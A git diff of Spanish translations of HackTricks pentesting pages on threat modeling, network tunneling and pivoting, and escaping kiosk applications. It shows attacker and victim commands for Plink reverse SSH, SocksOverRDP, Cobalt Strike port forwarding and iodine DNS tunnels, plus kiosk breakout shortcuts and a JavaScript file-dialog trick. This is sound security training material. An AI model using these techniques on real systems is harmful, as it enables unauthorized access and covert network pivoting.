3. **PASTA** (Proceso para Simulación de Ataques y Análisis de Amenazas): Esta es una metodología de siete pasos, **centrada en el riesgo**. Incluye la definición e identificación de objetivos de seguridad, la creación de un alcance técnico, la descomposición de la aplicación, el análisis de amenazas, el análisis de vulnerabilidades y la evaluación de riesgos/triage.
|
||||
4. **Trike**: Esta es una metodología basada en riesgos que se centra en defender activos. Comienza desde una perspectiva de **gestión de riesgos** y examina amenazas y vulnerabilidades en ese contexto.
|
||||
5. **VAST** (Modelado de Amenazas Visual, Ágil y Simple): Este enfoque busca ser más accesible e integrarse en entornos de desarrollo ágil. Combina elementos de las otras metodologías y se centra en **representaciones visuales de amenazas**.
|
||||
6. **OCTAVE** (Evaluación de Amenazas, Activos y Vulnerabilidades Críticos Operacionales): Desarrollado por el Centro de Coordinación CERT, este marco está orientado hacia **la evaluación de riesgos organizacionales en lugar de sistemas o software específicos**.
|
||||
|
||||
## Herramientas
|
||||
|
||||
Existen varias herramientas y soluciones de software disponibles que pueden **ayudar** en la creación y gestión de modelos de amenazas. Aquí tienes algunas que podrías considerar.
|
||||
Hay varias herramientas y soluciones de software disponibles que pueden **asistir** en la creación y gestión de modelos de amenazas. Aquí hay algunas que podrías considerar.
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
Una avanzada araña/crawler web GUI multiplataforma con múltiples funciones para profesionales de ciberseguridad. Spider Suite se puede utilizar para mapear y analizar la superficie de ataque.
|
||||
Una avanzada GUI de múltiples características y multiplataforma para profesionales de ciberseguridad. Spider Suite se puede utilizar para el mapeo y análisis de la superficie de ataque.
|
||||
|
||||
**Uso**
|
||||
|
||||
1. Selecciona una URL y Explora
|
||||
1. Elige una URL y rastrea
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Visualiza el Gráfico
|
||||
2. Ver gráfico
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
Un proyecto de código abierto de OWASP, Threat Dragon es una aplicación web y de escritorio que incluye diagramación de sistemas y un motor de reglas para generar automáticamente amenazas/mitigaciones.
|
||||
Un proyecto de código abierto de OWASP, Threat Dragon es tanto una aplicación web como de escritorio que incluye diagramación de sistemas así como un motor de reglas para generar automáticamente amenazas/mitigaciones.
|
||||
|
||||
**Uso**
|
||||
|
||||
1. Crear Nuevo Proyecto
|
||||
1. Crear nuevo proyecto
|
||||
|
||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -78,29 +64,29 @@ A veces podría verse así:
|
|||
|
||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Iniciar Nuevo Proyecto
|
||||
2. Lanzar nuevo proyecto
|
||||
|
||||
<figure><img src="../.gitbook/assets/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. Guardar el Nuevo Proyecto
|
||||
3. Guardar el nuevo proyecto
|
||||
|
||||
<figure><img src="../.gitbook/assets/save_new_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
4. Crea tu modelo
|
||||
|
||||
Puedes usar herramientas como SpiderSuite Crawler para inspirarte, un modelo básico se vería algo así
|
||||
Puedes usar herramientas como SpiderSuite Crawler para inspirarte, un modelo básico podría verse algo así
|
||||
|
||||
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Solo un poco de explicación sobre las entidades:
|
||||
|
||||
* Proceso (La entidad en sí misma como un servidor web o funcionalidad web)
|
||||
* Proceso (La entidad misma como un servidor web o funcionalidad web)
|
||||
* Actor (Una persona como un visitante del sitio web, usuario o administrador)
|
||||
* Línea de Flujo de Datos (Indicador de Interacción)
|
||||
* Límite de Confianza (Diferentes segmentos de red o alcances.)
|
||||
* Línea de flujo de datos (Indicador de interacción)
|
||||
* Frontera de confianza (Diferentes segmentos o ámbitos de red.)
|
||||
* Almacenar (Cosas donde se almacenan los datos, como bases de datos)
|
||||
|
||||
5. Crear una Amenaza (Paso 1)
|
||||
5. Crear una amenaza (Paso 1)
|
||||
|
||||
Primero debes elegir la capa a la que deseas agregar una amenaza
|
||||
|
||||
|
@ -110,27 +96,16 @@ Ahora puedes crear la amenaza
|
|||
|
||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ten en cuenta que hay una diferencia entre Amenazas de Actores y Amenazas de Procesos. Si agregaras una amenaza a un Actor, solo podrás elegir "Suplantación" y "Repudio". Sin embargo, en nuestro ejemplo agregamos una amenaza a una entidad de Proceso, por lo que veremos esto en el cuadro de creación de amenazas:
|
||||
Ten en cuenta que hay una diferencia entre amenazas de Actor y amenazas de Proceso. Si agregaras una amenaza a un Actor, solo podrás elegir "Spoofing" y "Repudiation". Sin embargo, en nuestro ejemplo, agregamos una amenaza a una entidad de Proceso, por lo que veremos esto en el cuadro de creación de amenazas:
|
||||
|
||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. Listo
|
||||
|
||||
Ahora tu modelo terminado debería verse algo así. Y así es como se crea un modelo de amenazas simple con OWASP Threat Dragon.
|
||||
Ahora tu modelo terminado debería verse algo así. Y así es como haces un modelo de amenaza simple con OWASP Threat Dragon.
|
||||
|
||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
### [Herramienta de modelado de amenazas de Microsoft](https://aka.ms/threatmodelingtool)
|
||||
|
||||
Esta es una herramienta gratuita de Microsoft que ayuda a encontrar amenazas en la fase de diseño de proyectos de software. Utiliza la metodología STRIDE y es particularmente adecuada para aquellos que desarrollan en la plataforma de Microsoft.
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**.
|
||||
|
||||
Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Esta es una herramienta gratuita de Microsoft que ayuda a encontrar amenazas en la fase de diseño de proyectos de software. Utiliza la metodología STRIDE y es particularmente adecuada para aquellos que desarrollan en la pila de Microsoft.
|
||||
|
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Nmap tip
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP** y **SYN** scans no pueden ser tunelizados a través de proxies socks, por lo que debemos **deshabilitar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que esto funcione.
|
||||
**ICMP** y **SYN** scans no pueden ser tunelizados a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que esto funcione.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
@ -175,9 +167,9 @@ rportfwd stop [bind port]
|
|||
```
|
||||
Para tener en cuenta:
|
||||
|
||||
- La reversa de puerto de Beacon está diseñada para **túnel tráfico al Servidor del Equipo, no para retransmitir entre máquinas individuales**.
|
||||
- El tráfico es **tuneado dentro del tráfico C2 de Beacon**, incluyendo enlaces P2P.
|
||||
- **No se requieren privilegios de administrador** para crear reenvíos de puerto reversos en puertos altos.
|
||||
- La reversa de puerto de Beacon está diseñada para **túnelizar tráfico al Servidor del Equipo, no para relajar entre máquinas individuales**.
|
||||
- El tráfico es **túnelizado dentro del tráfico C2 de Beacon**, incluyendo enlaces P2P.
|
||||
- **No se requieren privilegios de administrador** para crear reenvíos de puerto reverso en puertos altos.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
|
@ -302,7 +294,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
```
|
||||
## Plink.exe
|
||||
|
||||
Es como una versión de consola de PuTTY (las opciones son muy similares a un cliente ssh).
|
||||
Es como una versión de consola de PuTTY (las opciones son muy similares a las de un cliente ssh).
|
||||
|
||||
Como este binario se ejecutará en la víctima y es un cliente ssh, necesitamos abrir nuestro servicio y puerto ssh para que podamos tener una conexión inversa. Luego, para redirigir solo un puerto accesible localmente a un puerto en nuestra máquina:
|
||||
```bash
|
||||
|
@ -336,7 +328,7 @@ En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así:
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ahora podemos **conectar** con la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y escuchará en **127.0.0.1:1080**.
|
||||
Ahora podemos **conectar** con la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y que **escuchará** en **127.0.0.1:1080**.
|
||||
|
||||
**Conéctese** a través de **RDP** y suba y ejecute en la máquina de la víctima el binario `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
|
@ -387,7 +379,7 @@ Un proxy inverso creado por Microsoft. Puedes encontrarlo aquí: [https://github
|
|||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Se necesita root en ambos sistemas para crear adaptadores tun y túnel datos entre ellos utilizando consultas DNS.
|
||||
Se necesita root en ambos sistemas para crear adaptadores tun y túnel de datos entre ellos utilizando consultas DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
|
@ -424,7 +416,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||
```
|
||||
#### Cambiar DNS de proxychains
|
||||
|
||||
Proxychains intercepta la llamada `gethostbyname` de libc y canaliza la solicitud DNS tcp a través del proxy socks. Por **defecto**, el servidor **DNS** que utiliza proxychains es **4.2.2.2** (codificado). Para cambiarlo, edita el archivo: _/usr/lib/proxychains3/proxyresolv_ y cambia la IP. Si estás en un **entorno de Windows**, podrías establecer la IP del **controlador de dominio**.
|
||||
Proxychains intercepta la llamada `gethostbyname` de libc y canaliza la solicitud de DNS tcp a través del proxy socks. Por **defecto**, el servidor **DNS** que utiliza proxychains es **4.2.2.2** (codificado). Para cambiarlo, edita el archivo: _/usr/lib/proxychains3/proxyresolv_ y cambia la IP. Si estás en un **entorno de Windows**, podrías establecer la IP del **controlador de dominio**.
|
||||
|
||||
## Túneles en Go
|
||||
|
||||
|
@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Escapando de los KIOSKs
|
||||
# Escapando de KIOSKs
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -10,38 +10,28 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Verificar dispositivo físico
|
||||
|
||||
| Componente | Acción |
|
||||
| ------------- | -------------------------------------------------------------------- |
|
||||
| Botón de encendido | Apagar y encender el dispositivo nuevamente puede exponer la pantalla de inicio |
|
||||
| Cable de alimentación | Verificar si el dispositivo se reinicia cuando se corta brevemente la energía |
|
||||
| Puertos USB | Conectar un teclado físico con más accesos directos |
|
||||
| -------------- | -------------------------------------------------------------------- |
|
||||
| Botón de encendido | Apagar y encender el dispositivo puede exponer la pantalla de inicio |
|
||||
| Cable de alimentación | Verificar si el dispositivo se reinicia cuando se corta brevemente la alimentación |
|
||||
| Puertos USB | Conectar un teclado físico con más atajos |
|
||||
| Ethernet | Un escaneo de red o sniffing puede permitir una mayor explotación |
|
||||
|
||||
|
||||
## Verificar posibles acciones dentro de la aplicación GUI
|
||||
|
||||
Los **Diálogos Comunes** son esas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a funcionalidades de Explorador si puedes acceder a estas opciones:
|
||||
**Diálogos Comunes** son aquellas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a las funcionalidades del Explorador si puedes acceder a estas opciones:
|
||||
|
||||
* Cerrar/Cerrar como
|
||||
* Abrir/Abrir con
|
||||
|
@ -54,16 +44,16 @@ Deberías verificar si puedes:
|
|||
|
||||
* Modificar o crear nuevos archivos
|
||||
* Crear enlaces simbólicos
|
||||
* Acceder a áreas restringidas
|
||||
* Obtener acceso a áreas restringidas
|
||||
* Ejecutar otras aplicaciones
|
||||
|
||||
### Ejecución de Comandos
|
||||
|
||||
Tal vez **usando la opción `Abrir con`** puedas abrir/ejecutar algún tipo de shell.
|
||||
Quizás **usando una opción `Abrir con`** puedas abrir/ejecutar algún tipo de shell.
|
||||
|
||||
#### Windows
|
||||
|
||||
Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que se pueden usar para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que pueden ser usados para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
#### \*NIX \_\_
|
||||
|
||||
|
@ -71,14 +61,14 @@ _bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.gi
|
|||
|
||||
## Windows
|
||||
|
||||
### Saltando restricciones de ruta
|
||||
### Eludir restricciones de ruta
|
||||
|
||||
* **Variables de entorno**: Hay muchas variables de entorno que apuntan a alguna ruta
|
||||
* **Otros protocolos**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **Enlaces simbólicos**
|
||||
* **Accesos directos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Diálogo de Archivo/Abrir), CTRL-P (Diálogo de Imprimir), CTRL-S (Guardar como)
|
||||
* Menú Administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **URIs de Shell**: _shell:Herramientas Administrativas, shell:Bibliotecas de Documentos, shell:Bibliotecas, shell:Perfiles de Usuario, shell:Personal, shell:Carpeta de Inicio de Búsqueda, shell:Sistemas de Red, shell:Enviar a, shell:Perfiles de Usuarios, shell:Herramientas Administrativas Comunes, shell:Mi PC, shell:Carpeta de Internet_
|
||||
* **Atajos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Archivo/Abrir Diálogo), CTRL-P (Diálogo de Imprimir), CTRL-S (Guardar como)
|
||||
* Menú administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **Rutas UNC**: Rutas para conectarse a carpetas compartidas. Deberías intentar conectarte al C$ de la máquina local ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **Más rutas UNC:**
|
||||
|
||||
|
@ -94,7 +84,7 @@ _bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.gi
|
|||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
### Descarga tus Binarios
|
||||
### Descarga tus binarios
|
||||
|
||||
Consola: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Explorador: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
|
@ -111,29 +101,30 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
|
|||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
### Atajos
|
||||
|
||||
* Sticky Keys – Presiona SHIFT 5 veces
|
||||
* Mouse Keys – SHIFT+ALT+BLOQ NUM
|
||||
* Alto Contraste – SHIFT+ALT+IMPR PANT
|
||||
* Teclas de Alternancia – Mantén presionado BLOQ NUM por 5 segundos
|
||||
* Teclas de Filtro – Mantén presionado el SHIFT derecho por 12 segundos
|
||||
* Teclas adhesivas – Presiona SHIFT 5 veces
|
||||
* Teclas de mouse – SHIFT+ALT+NUMLOCK
|
||||
* Alto contraste – SHIFT+ALT+PRINTSCN
|
||||
* Teclas de alternancia – Mantén NUMLOCK durante 5 segundos
|
||||
* Teclas de filtro – Mantén SHIFT derecho durante 12 segundos
|
||||
* WINDOWS+F1 – Búsqueda de Windows
|
||||
* WINDOWS+D – Mostrar Escritorio
|
||||
* WINDOWS+E – Abrir Explorador de Windows
|
||||
* WINDOWS+D – Mostrar escritorio
|
||||
* WINDOWS+E – Lanzar el explorador de Windows
|
||||
* WINDOWS+R – Ejecutar
|
||||
* WINDOWS+U – Centro de Accesibilidad
|
||||
* WINDOWS+F – Búsqueda
|
||||
* SHIFT+F10 – Menú Contextual
|
||||
* CTRL+SHIFT+ESC – Administrador de Tareas
|
||||
* WINDOWS+U – Centro de accesibilidad
|
||||
* WINDOWS+F – Buscar
|
||||
* SHIFT+F10 – Menú contextual
|
||||
* CTRL+SHIFT+ESC – Administrador de tareas
|
||||
* CTRL+ALT+DEL – Pantalla de inicio en versiones más nuevas de Windows
|
||||
* F1 – Ayuda F3 – Búsqueda
|
||||
* F6 – Barra de Direcciones
|
||||
* F11 – Alternar pantalla completa en Internet Explorer
|
||||
* F1 – Ayuda F3 – Buscar
|
||||
* F6 – Barra de direcciones
|
||||
* F11 – Alternar pantalla completa dentro de Internet Explorer
|
||||
* CTRL+H – Historial de Internet Explorer
|
||||
* CTRL+T – Internet Explorer – Nueva Pestaña
|
||||
* CTRL+N – Internet Explorer – Nueva Página
|
||||
* CTRL+O – Abrir Archivo
|
||||
* CTRL+T – Internet Explorer – Nueva pestaña
|
||||
* CTRL+N – Internet Explorer – Nueva página
|
||||
* CTRL+O – Abrir archivo
|
||||
* CTRL+S – Guardar CTRL+N – Nueva RDP / Citrix
|
||||
|
||||
### Deslizamientos
|
||||
|
@ -145,153 +136,154 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
|
|||
|
||||
### Trucos de Internet Explorer
|
||||
|
||||
#### 'Barra de Imagen'
|
||||
#### 'Barra de herramientas de imagen'
|
||||
|
||||
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic en ella. Podrás Guardar, Imprimir, Enviar por correo electrónico, Abrir "Mis Imágenes" en el Explorador. El Kiosko debe estar utilizando Internet Explorer.
|
||||
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic. Podrás Guardar, Imprimir, Mailto, Abrir "Mis Imágenes" en el Explorador. El Kiosk necesita estar usando Internet Explorer.
|
||||
|
||||
#### Protocolo Shell
|
||||
|
||||
Escribe estas URL para obtener una vista de Explorador:
|
||||
|
||||
* `shell:Herramientas Administrativas`
|
||||
* `shell:BibliotecaDocumentos`
|
||||
* `shell:Bibliotecas`
|
||||
* `shell:PerfilesUsuarios`
|
||||
* `shell:Administrative Tools`
|
||||
* `shell:DocumentsLibrary`
|
||||
* `shell:Libraries`
|
||||
* `shell:UserProfiles`
|
||||
* `shell:Personal`
|
||||
* `shell:CarpetaInicioBusqueda`
|
||||
* `shell:CarpetaLugaresRed`
|
||||
* `shell:EnviarA`
|
||||
* `shell:PerfilesUsuarios`
|
||||
* `shell:HerramientasAdministrativasComunes`
|
||||
* `shell:MiPC`
|
||||
* `shell:Internet`
|
||||
* `Shell:Perfil`
|
||||
* `Shell:ArchivosPrograma`
|
||||
* `Shell:Sistema`
|
||||
* `Shell:PanelControl`
|
||||
* `shell:SearchHomeFolder`
|
||||
* `shell:NetworkPlacesFolder`
|
||||
* `shell:SendTo`
|
||||
* `shell:UserProfiles`
|
||||
* `shell:Common Administrative Tools`
|
||||
* `shell:MyComputerFolder`
|
||||
* `shell:InternetFolder`
|
||||
* `Shell:Profile`
|
||||
* `Shell:ProgramFiles`
|
||||
* `Shell:System`
|
||||
* `Shell:ControlPanelFolder`
|
||||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panel de Control
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mi PC
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis Sitios de Red
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mi Computadora
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis Lugares de Red
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
### Mostrar Extensiones de Archivos
|
||||
### Mostrar extensiones de archivo
|
||||
|
||||
Consulta esta página para más información: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
## Trucos de Navegadores
|
||||
## Trucos de navegadores
|
||||
|
||||
Respaldo de versiones iKat:
|
||||
Versiones de respaldo de iKat:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
|
||||
Crear un cuadro de diálogo común usando JavaScript y acceder al explorador de archivos: `document.write('<input/type=file>')`\
|
||||
Crea un diálogo común usando JavaScript y accede al explorador de archivos: `document.write('<input/type=file>')`\
|
||||
Fuente: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
## iPad
|
||||
|
||||
### Gestos y botones
|
||||
|
||||
* Desliza hacia arriba con cuatro (o cinco) dedos / Doble toque en el botón de Inicio: Para ver la vista de multitarea y cambiar de aplicación
|
||||
* Desliza hacia un lado u otro con cuatro o cinco dedos: Para cambiar a la siguiente/anterior aplicación
|
||||
* Pellizca la pantalla con cinco dedos / Toca el botón de Inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a Inicio
|
||||
* Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): Aparecerá el dock
|
||||
* Desliza hacia arriba con cuatro (o cinco) dedos / Doble toque en el botón de inicio: Para ver la vista de multitarea y cambiar de aplicación
|
||||
* Desliza de un lado a otro con cuatro o cinco dedos: Para cambiar a la siguiente/última aplicación
|
||||
* Pellizca la pantalla con cinco dedos / Toca el botón de inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a la pantalla de inicio
|
||||
* Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): La base aparecerá
|
||||
* Desliza hacia abajo desde la parte superior de la pantalla con 1 dedo: Para ver tus notificaciones
|
||||
* Desliza hacia abajo con 1 dedo en la esquina superior derecha de la pantalla: Para ver el centro de control del iPad Pro
|
||||
* Desliza 1 dedo desde el lado izquierdo de la pantalla 1-2 pulgadas: Para ver la vista de Hoy
|
||||
* Desliza rápidamente 1 dedo desde el centro de la pantalla hacia la derecha o izquierda: Para cambiar a la siguiente/anterior aplicación
|
||||
* Presiona y mantén presionado el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad +** Mueve el deslizador de **apagado** todo hacia la derecha: Para apagar
|
||||
* Presiona el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad y el botón de Inicio durante unos segundos**: Para forzar un apagado completo
|
||||
* Presiona el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad y el botón de Inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la esquina inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo brevemente, si los mantienes presionados unos segundos se realizará un apagado forzado.
|
||||
* Desliza rápido 1 dedo desde el centro de la pantalla hacia la derecha o hacia la izquierda: Para cambiar a la siguiente/última aplicación
|
||||
* Presiona y mantén el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad +** Mueve el control deslizante de **apagar** todo el camino hacia la derecha: Para apagar
|
||||
* Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio durante unos segundos**: Para forzar un apagado duro
|
||||
* Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la parte inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo muy brevemente, ya que si los mantienes durante unos segundos se realizará un apagado duro.
|
||||
|
||||
### Atajos
|
||||
|
||||
Debes tener un teclado para iPad o un adaptador de teclado USB. Aquí se mostrarán solo los atajos que podrían ayudar a escapar de la aplicación.
|
||||
Deberías tener un teclado para iPad o un adaptador de teclado USB. Solo se mostrarán los atajos que podrían ayudar a escapar de la aplicación.
|
||||
|
||||
| Tecla | Nombre |
|
||||
| --- | ------------ |
|
||||
| ----- | -------------- |
|
||||
| ⌘ | Comando |
|
||||
